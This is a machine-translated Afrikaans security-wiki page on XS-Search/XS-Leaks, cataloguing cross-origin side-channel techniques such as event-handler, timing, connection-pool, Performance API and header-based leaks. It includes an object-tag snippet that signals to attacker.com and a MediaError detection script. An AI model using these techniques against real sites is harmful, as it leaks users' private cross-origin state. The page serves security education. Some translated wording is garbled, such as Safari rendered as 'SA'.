XS-Search/XS-Leaks

Gebruik **** om maklik te bou en werkstrome outomaties aan te dryf met die wêreld se mees gevorderde gemeenskapshulpmiddels. Kry Toegang Vandag:

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

XS-Soek is 'n metode wat gebruik word vir die ontginning van kruis-oorsprong inligting deur gebruik te maak van sykanaal kwesbaarhede.

Kernkomponente betrokke by hierdie aanval sluit in:

  • Kwesbare Web: Die teikenwebwerf waarvandaan inligting bedoel word om ontgin te word.

  • Aanvaller se Web: Die skadelike webwerf geskep deur die aanvaller, wat die slagoffer besoek, wat die uitbuiting aanbied.

  • Insluitingsmetode: Die tegniek wat gebruik word om die Kwesbare Web in die Aanvaller se Web in te sluit (bv., window.open, iframe, fetch, HTML-tag met href, ens.).

  • Lektegniek: Tegnieke wat gebruik word om verskille in die toestand van die Kwesbare Web te onderskei gebaseer op inligting wat deur die insluitingsmetode ingesamel is.

  • Toestande: Die twee potensiële toestande van die Kwesbare Web, wat die aanvaller beoog om te onderskei.

  • Waargeneembare Verskille: Waarneembare variasies waarop die aanvaller staatmaak om die toestand van die Kwesbare Web af te lei.

Waargeneembare Verskille

Verskeie aspekte kan geanaliseer word om die toestande van die Kwesbare Web te onderskei:

  • Statuskode: Onderskeiding tussen verskeie HTTP-antwoordstatuskodes kruis-oorsprong, soos bedieningsfoute, kliëntfoute, of verifikasie foute.

  • API Gebruik: Identifisering van gebruik van Web-API's oor bladsye, wat onthul of 'n kruis-oorsprongbladsy 'n spesifieke JavaScript Web-API gebruik.

  • Herleiings: Opmerking van navigasies na verskillende bladsye, nie net HTTP-herleiings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.

  • Bladsy-inhoud: Waarneming van variasies in die HTTP-antwoordliggaam of in bladsy sub-hulpbronne, soos die aantal ingeslote rame of grootteverskille in beelde.

  • HTTP-kop: Notering van die teenwoordigheid of moontlik die waarde van 'n spesifieke HTTP-antwoordkop, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.

  • Tydsberekening: Opmerking van konsekwente tydverskille tussen die twee toestande.

Insluitingsmetodes

  • HTML Elemente: HTML bied verskeie elemente vir kruis-oorsprong hulpbroninsluiting, soos stylesheet, beelde, of skripte, wat die blaaier dwing om 'n nie-HTML-hulpbron aan te vra. 'n Samestelling van potensiële HTML-elemente vir hierdie doel kan gevind word by https://github.com/cure53/HTTPLeaks.

  • Rame: Elemente soos iframe, object, en embed kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy ramebeskerming ontbreek, kan JavaScript toegang kry tot die vensterobjek van die ingeslote hulpbron via die contentWindow-eienskap.

  • Pop-ups: Die window.open metode open 'n hulpbron in 'n nuwe lêer of venster, wat 'n vensterhandvatsel vir JavaScript bied om met metodes en eienskappe te interaksioneer volgens die SOP. Pop-ups, dikwels gebruik in enkeltekenaanmelding, omseil rame en koekiebeperkings van 'n teikenhulpbron. Moderne blaaier beperk egter pop-up-skepping tot sekere gebruikersaksies.

  • JavaScript Versoeke: JavaScript maak direkte versoeke na teikenhulpbronne moontlik deur gebruik te maak van XMLHttpRequests of die Fetch API. Hierdie metodes bied presiese beheer oor die versoek, soos die opsie om HTTP-herleiings te volg.

Lektegnieke

  • Gebeurtenishanterer: 'n klassieke lektegniek in XS-Lekke, waar gebeurtenishanterers soos onload en onerror insigte bied oor die sukses of mislukking van hulpbronlaaiing.

  • Foutboodskappe: JavaScript-uitsonderings of spesiale foutbladsye kan lekinligting verskaf, óf direk vanuit die foutboodskap óf deur onderskeiding tussen sy teenwoordigheid en afwesigheid.

  • Globale Limiete: Fisiese beperkings van 'n blaaier, soos geheuekapasiteit of ander afgedwonge blaaierlimiete, kan aandui wanneer 'n drempel bereik word, as lektegniek dienende.

  • Globale Toestand: Waargeneembare interaksies met blaaier se globale toestande (bv., die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die aantal inskrywings in 'n blaaier se geskiedenis kan aanwysings bied oor kruis-oorsprongbladsye.

  • Prestasie-API: Hierdie API verskaf prestasiebesonderhede van die huidige bladsy, insluitend netwerktiming vir die dokument en gelaai hulpbronne, wat afleidings moontlik maak oor aangevraagde hulpbronne.

  • Leesbare Eienskappe: Sommige HTML-eienskappe is leesbaar kruis-oorsprong en kan as lektegniek gebruik word. Byvoorbeeld, die window.frame.length eienskap laat JavaScript toe om die rame in 'n kruis-oorsprongwebbladsy te tel.

XSinator Gereedskap & Dokument

XSinator is 'n outomatiese gereedskap om blaaier te toets teen verskeie bekende XS-Lekke wat in sy dokument verduidelik word: https://xsinator.com/paper.pdf

Jy kan die gereedskap by https://xsinator.com/ kry

Uitgeslote XS-Lekke: Ons moes XS-Lekke uitsluit wat staatmaak op dienswerkers aangesien hulle met ander lekke in XSinator sou bots. Verder het ons gekies om XS-Lekke uit te sluit wat staatmaak op verkeerde konfigurasies en foute in 'n spesifieke webtoepassing. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Lekke uitgesluit aangesien hulle dikwels ly aan stadigheid, lawaaierigheid en onakkuraatheid.

Gebruik Trickest om maklik te bou en werkstrome outomaties aan te dryf met die wêreld se mees gevorderde gemeenskapshulpmiddels. Kry Toegang Vandag:

Tydgebaseerde tegnieke

Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye op te spoor. Daar is verskillende maniere om tyd in 'n webblaaier te meet.

Horlosies: Die performance.now() API stel ontwikkelaars in staat om hoë-resolusie tydmetings te kry. Daar is 'n aansienlike aantal APIs wat aanvallers kan misbruik om implisiete horlosies te skep: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-animasies, en ander. Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Gebeurtenishanterings tegnieke

Onload/Onerror

pageCookie Bomb + Onerror XS Leak

Die kodevoorbeeld probeer skripsvoorwerpe vanaf JS laai, maar ander etikette soos voorwerpe, stylesheets, beelde, klank kan ook gebruik word. Daarbenewens is dit ook moontlik om die etiket direk in te spuit en die onload en onerror-gebeurtenisse binne die etiket te verklaar (in plaas daarvan om dit vanaf JS in te spuit).

Daar is ook 'n skripslose weergawe van hierdie aanval:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In hierdie geval, as example.com/404 nie gevind word nie, sal attacker.com/?error gelaai word.

Onload Tydsberekening

pageperformance.now example

Onload Tydsberekening + Gedwonge Swaar Taak

Hierdie tegniek is net soos die vorige een, maar die aanvaller sal ook 'n paar aksies dwing om 'n relevante hoeveelheid tyd te neem wanneer die antwoord positief of negatief is en meet daardie tyd.

pageperformance.now + Force heavy task

unload/beforeunload Tydsberekening

Die tyd wat dit neem om 'n hulpbron op te haal, kan gemeet word deur die gebruik van die unload en beforeunload gebeurtenisse. Die beforeunload gebeurtenis word afgevuur wanneer die blaaier besig is om na 'n nuwe bladsy te navigeer, terwyl die unload gebeurtenis plaasvind wanneer die navigasie werklik plaasvind. Die tydsverskil tussen hierdie twee gebeurtenisse kan bereken word om die duur te bepaal wat die blaaier spandeer het om die hulpbron op te haal.

Sandboxed Frame Tydsberekening + onload

Daar is waargeneem dat in die afwesigheid van Ramebeskerming, die tyd wat nodig is vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die onload-hanterer van 'n ifram slegs geaktiveer word nadat die hulpbronlaaiing en JavaScript-uitvoering voltooi is. Om die variasie wat deur skrips uitvoering ingebring word, te omseil, mag 'n aanvaller die sandbox eienskap binne die <iframe> gebruik. Die insluiting van hierdie eienskap beperk verskeie funksionaliteite, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik beïnvloed word deur netwerkprestasie.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + fout + onload

  • Insluitingsmetodes: Raamwerke

  • Opmerkbare Verskil: Bladsy-inhoud

  • Meer inligting:

  • Opsomming: As jy die bladsy kan laat fout wanneer die korrekte inhoud benader word en dit korrek laai wanneer enige inhoud benader word, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.

  • Kodevoorbeeld:

Stel dat jy die bladsy kan invoeg wat die geheime inhoud binne 'n Iframe het.

Jy kan die slagoffer laat soek na die lêer wat "vlag" bevat deur 'n Iframe te gebruik (deur byvoorbeeld 'n CSRF te benut). Binne die Iframe weet jy dat die onload-gebeurtenis altyd ten minste een keer sal uitgevoer word. Dan kan jy die URL van die iframe verander deur net die inhoud van die hek binne die URL te verander.

Byvoorbeeld:

  1. URL1: www.attacker.com/xssearch#try1

  2. URL2: www.attacker.com/xssearch#try2

As die eerste URL suksesvol gelaai was, dan sal wanneer die hek deel van die URL verander word, die onload-gebeurtenis nie weer geaktiveer word nie. Maar as die bladsy 'n soort van fout gehad het tydens die laai, dan sal die onload-gebeurtenis weer geaktiveer word.

Dan kan jy onderskei tussen 'n korrek gelaai bladsy of 'n bladsy wat 'n fout het wanneer dit benader word.

Javascript-uitvoering

  • Insluitingsmetodes: Raamwerke

  • Opmerkbare Verskil: Bladsy-inhoud

  • Meer inligting:

  • Opsomming: As die bladsy die sensitiewe inhoud terugstuur, of 'n inhoud wat deur die gebruiker beheer kan word. Die gebruiker kan geldige JS-kode in die negatiewe geval instel, en elke poging binne <script>-tags laai, sodat in negatiewe gevalle aanvallers se kode uitgevoer word, en in bevestigende gevalle sal niks uitgevoer word nie.

  • Kodevoorbeeld:

pageJavaScript Execution XS Leak

CORB - Onerror

  • Insluitingsmetodes: HTML-elemente

  • Opmerkbare Verskil: Statuskode & Koppele

  • Opsomming: Cross-Origin Read Blocking (CORB) is 'n sekuriteitsmaatreël wat voorkom dat webbladsye sekere sensitiewe kruis-oorsprongbronne laai om te beskerm teen aanvalle soos Spectre. Aanvallers kan egter sy beskermende gedrag benut. Wanneer 'n respons wat aan CORB onderwerp is, 'n CORB-beskermde Content-Type met nosniff en 'n 2xx-statuskode terugstuur, stroop CORB die liggaam en koppe van die respons. Aanvallers wat dit waarneem, kan die kombinasie van die statuskode (wat sukses of fout aandui) en die Content-Type (wat aandui of dit deur CORB beskerm word) aflei, wat kan lei tot potensiële inligtingslekke.

  • Kodevoorbeeld:

Kyk na die meer inligting skakel vir meer inligting oor die aanval.

onblur

Dit is moontlik om 'n bladsy binne 'n iframe te laai en die #id_waarde te gebruik om die bladsy te fokus op die element van die iframe met die aangeduide id, dan as 'n onblur-sein geaktiveer word, bestaan die ID-element. Jy kan dieselfde aanval uitvoer met portal-tags.

postMessage-uitsendings

  • Insluitingsmetodes: Raamwerke, Pop-ups

  • Opmerkbare Verskil: API-gebruik

  • Opsomming: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken

  • Kodevoorbeeld: Enige kode wat luister vir alle postMessages.

Toepassings maak dikwels gebruik van postMessage-uitsendings om oor verskillende oorsprong te kommunikeer. Hierdie metode kan egter onbedoeld sensitiewe inligting blootstel as die targetOrigin-parameter nie behoorlik gespesifiseer word nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die bloot ontvang van 'n boodskap as 'n orakel optree; byvoorbeeld, sekere boodskappe mag slegs gestuur word na gebruikers wat ingeteken is. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geïdentifiseer is of nie.

Gebruik Trickest om maklik werkstrome te bou en te outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapshulpmiddels. Kry Vandag Toegang:

Globale Limiete Tegnieke

WebSocket API

Dit is moontlik om te identifiseer of, en hoeveel, WebSocket-verbindinge 'n teikenbladsy gebruik. Dit stel 'n aanvaller in staat om programtoestande te bepaal en inligting wat verband hou met die aantal WebSocket-verbindinge te lek.

As een oorsprong die maksimum hoeveelheid WebSocket-verbinding-voorwerpe gebruik, ongeag hul verbindingsstatus, sal die skepping van nuwe voorwerpe lei tot JavaScript-uitsonderings. Om hierdie aanval uit te voer, open die aanvaller-webwerf die teikenwebwerf in 'n pop-up of iframe en probeer dan, nadat die teikenweb gelaai is, die maksimum aantal moontlike WebSocket-verbindinge skep. Die aantal gegooide uitsonderings is die aantal WebSocket-verbindinge wat deur die teikenwebwerf-venster gebruik word.

Betalings-API

Hierdie XS-Leak stel 'n aanvaller in staat om te identifiseer wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek inisieer.

Omdat slegs een versoek vir betaling aktief kan wees op 'n slag, as die teikenwebwerf die Betalingsversoek-API gebruik, sal enige verdere pogings om hierdie API te gebruik faal, en 'n JavaScript-uitsondering veroorsaak. Die aanvaller kan hierdie uitbuit deur periodiek te probeer om die Betalings-API UI te wys. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik te sluit na skepping.

Tydsberekening van die Gebeurtenislus

pageEvent Loop Blocking + Lazy images

JavaScript werk op 'n enkel-draad gebeurtenislus gelykheidmodel, wat beteken dat dit slegs een taak op 'n slag kan uitvoer. Hierdie eienskap kan uitgebuit word om te meet hoe lank dit neem vir kode van 'n ander oorsprong om uit te voer. 'n Aanvaller kan die uitvoertyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenispoel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur vertragings in die uitvoering van hul eie take te waarneem. Hierdie metode van monitering van die gebeurtenislus vir vertragings kan die uitvoertyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting kan blootstel.

In 'n uitvoertydsberekening is dit moontlik om netwerk faktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word te laai voordat dit gelaai word.

Besige Gebeurtenislus

  • Insluitingsmetodes:

  • Opmerkbare Verskil: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)

  • Opsomming: Een metode om die uitvoertyd van 'n web-operasie te meet, behels die opsetlike blokkering van die gebeurtenislus van 'n draad en dan die tyd te meet hoe lank dit neem vir die gebeurtenislus weer beskikbaar te word. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchrone API-oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem vir daaropvolgende kode om uitvoer te begin, kan 'n persoon die duur van die take wat in die gebeurtenislus tydens die blokkeringsperiode uitgevoer is, aflei. Hierdie tegniek maak gebruik van die enkel-draad aard van JavaScript se gebeurtenislus, waar take in volgorde uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.

  • Kodevoorbeeld:

'n Beduidende voordeel van die tegniek om die uitvoertyd te meet deur die gebeurtenislus te blokkeer, is die potensiaal om Webwerf-isolasie te omseil. Webwerf-isolasie is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat skadelike webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Deur die uitvoertydsberekening van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode steun nie op direkte toegang tot die data van die ander oorsprong nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en ontsnap dus aan die beskermende hindernisse wat deur Webwerf-isolasie opgerig is.

In 'n uitvoertydsberekening is dit moontlik om netwerk faktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word te laai voordat dit gelaai word.

Verbindingspoel

  • Insluitingsmetodes: JavaScript Versoeke

  • Opmerkbare Verskil: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)

  • Opsomming: 'n Aanvaller kan al die sokkels behalwe een blokkeer, die teikenwebwerf laai en terselfdertyd 'n ander bladsy laai, die tyd tot die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.

  • Kodevoorbeeld:

pageConnection Pool Examples

Webblaaier gebruik sokkels vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, word webblaaier gedwing om 'n limiet te stel op die aantal gelyktydige sokkels. Aanvallers kan hierdie beperking uitbuit deur die volgende stappe te volg:

  1. Vasstel die webblaaier se sokkellimiet, byvoorbeeld 256 globale sokkels.

  2. Beset 255 sokkels vir 'n lang tyd deur 255 versoeke na verskeie gasheer te begin, ontwerp om die verbindings oop te hou sonder om te voltooi.

  3. Gebruik die 256ste sokkel om 'n versoek na die teikenbladsy te stuur.

  4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien alle sokkels in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in 'n ry geplaas word totdat 'n sokkel beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyd-inligting oor die netwerkaktiwiteit wat verband hou met die 256ste sokkel (die teikenbladsy se sokkel). Hierdie afleiding is moontlik omdat die 255 sokkels van stap 2 nog besig is, wat impliseer dat enige nuut beskikbare sokkel die een moet wees wat vrygestel is van stap 3. Die tyd wat dit neem vir die 256ste sokkel om beskikbaar te word, is dus direk gekoppel aan die tyd wat die versoek na die teikenbladsy neem om te voltooi.

Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Verbindingspoel volgens Bestemming

  • Insluitingsmetodes: JavaScript Versoeke

  • Opmerkbare Verskil: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)

  • Meer inligting:

  • Opsomming: Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokkels te gebruik, stel Google Chrome 'n limiet van 6 gelyktydige versoek na dieselfde oorsprong. As ons 5 blokkeer en dan 'n 6de versoek begin, kan ons dit tyd en as ons daarin slaag om die teikenbladsy meer versoek na dieselfde eindpunt te stuur om 'n status van die bladsy te identifiseer, sal die 6de versoek langer neem en ons kan dit identifiseer.

Prestasie API Tegnieke

Die Prestasie API bied insigte in die prestasie metriek van webtoepassings, verder verryk deur die Hulpbron Tyd API. Die Hulpbron Tyd API maak dit moontlik om die gedetailleerde netwerkversoektye te monitor, soos die duur van die versoeke. Merkwaardig, wanneer bedieners die Timing-Allow-Origin: * kop in hul antwoorde insluit, word addisionele data soos die oordraggrootte en domeinsoektogtyd beskikbaar.

Hierdie oorvloed van data kan verkry word deur metodes soos performance.getEntries of performance.getEntriesByName, wat 'n omvattende uitsig oor prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoertye deur die verskil tussen tydstempels wat verkry is vanaf performance.now() te bereken. Dit is egter die moeite werd om daarop te let dat vir sekere operasies in webblaaier soos Chrome, die presisie van performance.now() beperk kan wees tot millisekondes, wat die fynheid van tydmetings kan beïnvloed.

Verder as tydmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die prestasie-objek in Chrome kan dui op die toepassing van X-Frame-Options. Spesifiek, as 'n bladsy geblokkeer word vanaf die weergawe in 'n raam as gevolg van X-Frame-Options, sal dit nie in die prestasie-objek opgeteken word nie, wat 'n subtile aanduiding bied oor die bladsy se raambeleid.

Foutlek

Dit is moontlik om onderskeid te tref tussen HTTP-antwoordstatuskodes omdat versoeke wat tot 'n fout lei nie 'n prestasie-inskrywing skep nie.

Styl Herlaai Fout

In die vorige tegniek is ook twee gevalle geïdentifiseer waar webblaaierfoute in GC lei tot hulpbronne wat twee keer gelaai word wanneer hulle nie laai nie. Dit sal lei tot meervoudige inskrywings in die Prestasie API en kan dus opgespoor word.

Versoek Versmeltingsfout

Die tegniek is gevind in 'n tabel in die genoemde papier, maar geen beskrywing van die tegniek is daarin gevind nie. Jy kan egter die bronkode vind wat dit nagaan in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Leë Bladsy-lek

'n Aanvaller kan opspoor of 'n versoek gelei het tot 'n leë HTTP-antwoordliggaam omdat leë bladsye nie 'n prestasie-inskrywing skep in sommige webblaaier nie.

XSS-Auditor-lek

In Sekuriteitsbewerings (SA) kan die XSS Auditor, oorspronklik bedoel om Kruiswebwerfinskrywings (XSS) aanvalle te voorkom, paradoksaal uitgebuit word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich gedemonstreer dat die XSS Auditor per ongeluk legitieme skripte kon blokkeer, wat tot vals positiewe gelei het. Voortbouend op hierdie bevindinge, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong-bladsye op te spoor, 'n konsep bekend as XS-Lekke, aanvanklik gerapporteer deur Terada en uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek was vir die XSS Auditor in GC, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode blootstel waardeur sensitiewe inligting steeds gelek kan word.

X-Frame-lek

As 'n bladsy nie toegelaat word om in 'n iframe weergegee te word nie, skep dit nie 'n prestasie-inskrywing nie. As gevolg hiervan kan 'n aanvaller die antwoordkop X-Frame-Options opspoor. Dieselfde gebeur as jy 'n embed tag gebruik.

Aflaaieropsporing

Soortgelyk aan die beskrywing van XS-Lek, skep 'n hulpbron wat afgelaai word as gevolg van die ContentDisposition-kop, ook nie 'n prestasie-inskrywing nie. Hierdie tegniek werk in alle belangrike webblaaier.

Aanvraag na Aanstuurlek

Ons het een XS-Leak geval gevind wat die gedrag van sommige webblaaier misbruik wat te veel inligting vir kruis-oorsprong aanvrae log. Die standaard definieer 'n subset van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Nietemin, in SA is dit moontlik om te bepaal of die gebruiker aangestuur word deur die teikenbladsy, deur die Performance API te ondervra en te kyk vir die redirectStart tydverloopdata.

Duur Aanstuurlek

In GC, is die duur vir aanvrae wat in 'n aanstuur resulteer, negatief en kan dus onderskei word van aanvrae wat nie in 'n aanstuur resulteer nie.

CORP Lek

In sommige gevalle kan die nextHopProtocol inskrywing as 'n lektegniek gebruik word. In GC, wanneer die CORP kop ingestel is, sal die nextHopProtocol leeg wees. Let daarop dat SA nie 'n prestasieinskrywing vir almal vir CORP-geaktiveerde hulpbronne sal skep nie.

Dienswerker

Dienswerkers is gebeurtenisgedrewe skripskontekste wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webbladsy en kan hulpbronne onderskep, wysig, en kas om aanlyn webtoepassings te skep. As 'n hulpbron gekas deur 'n dienswerker via 'n rame benader word, sal die hulpbron van die dienswerker se kas gelaai word. Om te bepaal of die hulpbron van die dienswerker se kas gelaai is, kan die Performance API gebruik word. Dit kan ook gedoen word met 'n Tydaanval (kyk na die dokument vir meer inligting).

Kas

Deur die Performance API te gebruik, is dit moontlik om te bepaal of 'n hulpbron gekas is.

Netwerkduur

Foutboodskap Tegniek

Media Fout

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

Die MediaError-koppelvlak se boodskapeienskap identifiseer hulpbronne wat suksesvol laai met 'n unieke string. 'n Aanvaller kan hierdie kenmerk uitbuit deur die boodskapinhoud te ondersoek, en sodoende die responsstatus van 'n kruis-oorsprong hulpbron af te lei.

CORS-fout

Hierdie tegniek stel 'n aanvaller in staat om die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek deur te profiteer van hoe Webkit-gebaseerde webblaaier CORS-versoeke hanteer. Spesifiek, wanneer 'n CORS-ingeskakelde versoek gestuur word na 'n teikenwebwerf wat 'n omleiding uitreik gebaseer op gebruikerstatus en die blaaier daaropvolgend die versoek weier, word die volledige URL van die omleiding se teiken binne die foutboodskap bekendgemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar bloot ook die omleiding se eindpunt en enige sensitiewe navraagparameters wat dit mag bevat.

SRI-fout

'n Aanvaller kan uitgebreide foutboodskappe uitbuit om die grootte van kruis-oorsprong respons te bepaal. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitskenmerk gebruik om te valideer dat hulpbronne wat opgehaal word, dikwels van CDNs afkomstig, nie geteister is nie. Vir SRI om te werk op kruis-oorsprong hulpbronne, moet hierdie CORS-ingeskakel wees; anders word hulle nie aan integriteitskontroles onderwerp nie. In Sekuriteitsbewerings (SA), soos die CORS-fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n ophalingsversoek met 'n integriteitskenmerk misluk. Aanvallers kan doelbewus hierdie fout trigger deur 'n vals hashtekenwaarde toe te ken aan die integriteitskenmerk van enige versoek. In SA, onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die versoekte hulpbron. Hierdie inligtingslek maak dit vir 'n aanvaller moontlik om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak-aanvalle.

CSP-oortreding/opsporing

'n XS-Leak kan die CSP gebruik om te bepaal of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeskakel is. Hierdie lek kan die omleiding opspoor, maar daarnaas lek die domein van die omleidingsdoel. Die basiese idee van hierdie aanval is om die teikendomein op die aanvaller se webwerf toe te laat. Sodra 'n versoek na die teikendomein uitgereik word, skuif dit na 'n kruis-oorsprongdomein. CSP blokkeer die toegang daartoe en skep 'n oortredingsverslag wat as 'n lektegniek gebruik word. Afhangende van die blaaier, kan hierdie verslag die teikendomein van die omleiding lek. Moderne blaaier sal nie die URL aandui waarna dit omgeskakel is nie, maar jy kan steeds bepaal dat 'n kruis-oorsprongomleiding geaktiveer is.

Cache

Blaaiers kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om vas te stel of 'n teikendbladsy 'n spesifieke lêer aangevra het.

As 'n bladsy 'n prent laai slegs as die gebruiker ingeteken is, kan jy die hulpbron ongeldig maak (sodat dit nie meer in die cache is nie, sien meer inligting skakels), 'n versoek uitvoer wat daardie hulpbron kan laai en probeer om die hulpbron met 'n slegte versoek te laai (bv. deur 'n oorlange verwysingskop te gebruik). As die hulpbronlaai geen fout veroorsaak nie, is dit omdat dit gecachet is.

CSP Direktief

'n Nuwe kenmerk in Google Chrome (GC) maak dit moontlik vir webbladsye om 'n Inhoudsekuriteitsbeleid (CSP) voor te stel deur 'n attribuut op 'n ramelement in te stel, met beleidsdirektiewe wat saam met die HTTP-versoek oorgedra word. Normaalweg moet die ingeslote inhoud hierdie deur 'n HTTP-koptekst goedkeur, of 'n foutbladsy word vertoon. Indien die rame egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie strenger is nie, sal die bladsy normaal laai. Hierdie meganisme skep 'n geleentheid vir 'n aanvaller om spesifieke CSP-direktiewe van 'n kruis-oorsprongbladsy te identifiseer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as opgelos gemerk is, dui ons bevindinge op 'n nuwe lektegniek wat in staat is om die foutbladsy op te spoor, wat aandui dat die onderliggende probleem nooit heeltemal aangespreek is nie.

CORP

Die CORP-koptekst is 'n relatief nuwe webplatform-sekuriteitskenmerk wat wanneer ingestel geen-cors kruis-oorsprongversoeke na die gegewe hulpbron blokkeer. Die teenwoordigheid van die koptekst kan opgespoor word, omdat 'n hulpbron wat met CORP beskerm word 'n fout sal gooi wanneer dit opgehaal word.

CORB

Kyk na die skakel vir meer inligting oor die aanval.

CORS-fout op Oorsprongweerspieëlingskonfigurasie

In die geval waar die Oorsprong-kop weerspieël word maar 'n wildkaart gebruik word (Access-Control-Allow-Origin: *), sal dit nie werk nie.

Leesbare Eienskappe Tegniek

Fetch Aanvraag

Deur 'n aanvraag in te dien met die Fetch API met redirect: "manual" en ander parameters, is dit moontlik om die response.type eienskap te lees en as dit gelyk is aan opaqueredirect was die respons 'n omleiding.

COOP

'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener-beleid (COOP) kop in 'n kruis-oorsprong HTTP-respons af te lei. COOP word deur webtoepassings gebruik om eksterne webwerwe te keer om arbitrêre vensterverwysings te verkry. Die sigbaarheid van hierdie kop kan waargeneem word deur te probeer om die contentWindow verwysing te benader. In gevalle waar COOP kondisioneel toegepas word, word die opener eienskap 'n duidelike aanduiding: dit is onbepaald wanneer COOP aktief is, en gedefinieer in sy afwesigheid.

URL Maksimum Lengte - Bedienerkant

